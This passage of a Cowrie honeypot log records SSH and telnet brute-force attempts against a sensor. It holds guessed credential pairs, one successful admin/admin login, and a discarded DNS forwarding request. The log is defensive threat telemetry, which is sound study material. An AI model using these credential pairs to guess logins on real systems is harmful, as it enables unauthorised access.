16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:06:35.614990Z","src_ip":"103.15.222.183","session":"f3dca014aeb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"73501505","message":"login attempt [root/73501505] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:06:36.357399Z","src_ip":"103.15.222.183","session":"f3dca014aeb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:06:37.606784Z","src_ip":"103.15.222.183","session":"f3dca014aeb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":39296,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c981eca98c6","protocol":"ssh","message":"New connection: 80.94.92.184:39296 (159.203.135.109:22) [session: 8c981eca98c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:06:43.638566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:06:43.736528Z","src_ip":"80.94.92.184","session":"8c981eca98c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:06:43.846101Z","src_ip":"80.94.92.184","session":"8c981eca98c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1","message":"login attempt [sol/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:06:45.081812Z","src_ip":"80.94.92.184","session":"8c981eca98c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:06:46.484715Z","src_ip":"80.94.92.184","session":"8c981eca98c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.231.148.160","src_port":37566,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee2dd31fe9ab","protocol":"ssh","message":"New connection: 165.231.148.160:37566 (159.203.135.109:22) [session: ee2dd31fe9ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:08:11.479911Z"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:08:12.136992Z","src_ip":"165.231.148.160","session":"ee2dd31fe9ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":48026,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7e44d5e5f2f","protocol":"ssh","message":"New connection: 2.57.121.25:48026 (159.203.135.109:22) [session: f7e44d5e5f2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:08:12.177135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:08:12.183002Z","src_ip":"2.57.121.25","session":"f7e44d5e5f2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:08:12.286448Z","src_ip":"2.57.121.25","session":"f7e44d5e5f2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"crank","message":"login attempt [user/crank] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:08:12.758103Z","src_ip":"2.57.121.25","session":"f7e44d5e5f2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"cowcow","message":"login attempt [user/cowcow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:08:13.859888Z","src_ip":"2.57.121.25","session":"f7e44d5e5f2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"copper1","message":"login attempt [user/copper1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:08:14.963544Z","src_ip":"2.57.121.25","session":"f7e44d5e5f2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52532,"dst_ip":"10.17.0.5","dst_port":23,"session":"701e605655dd","protocol":"telnet","message":"New connection: 50.6.8.71:52532 (10.17.0.5:23) [session: 701e605655dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:08:15.191680Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"copenhagen","message":"login attempt [user/copenhagen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:08:16.066861Z","src_ip":"2.57.121.25","session":"f7e44d5e5f2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"coolboy","message":"login attempt [user/coolboy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:08:17.169116Z","src_ip":"2.57.121.25","session":"f7e44d5e5f2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:08:18.271919Z","src_ip":"2.57.121.25","session":"f7e44d5e5f2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":27482,"dst_ip":"10.17.0.5","dst_port":22,"session":"deec3a3a1136","protocol":"ssh","message":"New connection: 87.251.64.176:27482 (10.17.0.5:22) [session: deec3a3a1136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:08:26.050894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:08:26.055410Z","src_ip":"87.251.64.176","session":"deec3a3a1136","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:08:26.152036Z","src_ip":"87.251.64.176","session":"deec3a3a1136","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:08:26.441588Z","src_ip":"87.251.64.176","session":"deec3a3a1136","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:08:26.540282Z","session":"deec3a3a1136","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:08:26.638773Z","src_ip":"87.251.64.176","session":"deec3a3a1136","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:08:26.736968Z","src_ip":"87.251.64.176","session":"deec3a3a1136","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":40782,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d33960d6de9","protocol":"ssh","message":"New connection: 103.195.236.96:40782 (10.17.0.5:22) [session: 4d33960d6de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:08:36.977979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:08:36.981666Z","src_ip":"103.195.236.96","session":"4d33960d6de9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:08:37.218350Z","src_ip":"103.195.236.96","session":"4d33960d6de9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"koshka","message":"login attempt [root/koshka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:08:37.936727Z","src_ip":"103.195.236.96","session":"4d33960d6de9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:08:39.175275Z","src_ip":"103.195.236.96","session":"4d33960d6de9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":7146,"dst_ip":"159.203.135.109","dst_port":22,"session":"219bf7ca7fa9","protocol":"ssh","message":"New connection: 38.93.206.2:7146 (159.203.135.109:22) [session: 219bf7ca7fa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:08:50.686952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:08:50.695007Z","src_ip":"38.93.206.2","session":"219bf7ca7fa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:08:50.746162Z","src_ip":"38.93.206.2","session":"219bf7ca7fa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789!!","message":"login attempt [root/123456789!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:08:50.903716Z","src_ip":"38.93.206.2","session":"219bf7ca7fa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:08:51.958450Z","src_ip":"38.93.206.2","session":"219bf7ca7fa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.26208019256592,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:08:55.453622Z","src_ip":"50.6.8.71","session":"701e605655dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":56964,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d9fb9a02331","protocol":"ssh","message":"New connection: 103.183.114.55:56964 (10.17.0.5:22) [session: 8d9fb9a02331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:08:58.270676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:08:58.462506Z","src_ip":"103.183.114.55","session":"8d9fb9a02331","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:08:58.566161Z","src_ip":"103.183.114.55","session":"8d9fb9a02331","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"volume","message":"login attempt [root/volume] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:08:59.407607Z","src_ip":"103.183.114.55","session":"8d9fb9a02331","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:09:00.638893Z","src_ip":"103.183.114.55","session":"8d9fb9a02331","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":35502,"dst_ip":"10.17.0.5","dst_port":22,"session":"7269b1682cc2","protocol":"ssh","message":"New connection: 89.223.69.22:35502 (10.17.0.5:22) [session: 7269b1682cc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:09:19.725127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:09:19.730155Z","src_ip":"89.223.69.22","session":"7269b1682cc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:09:19.844366Z","src_ip":"89.223.69.22","session":"7269b1682cc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zvezda","message":"login attempt [root/zvezda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:09:20.187171Z","src_ip":"89.223.69.22","session":"7269b1682cc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:09:21.303233Z","src_ip":"89.223.69.22","session":"7269b1682cc2","protocol":"ssh"}
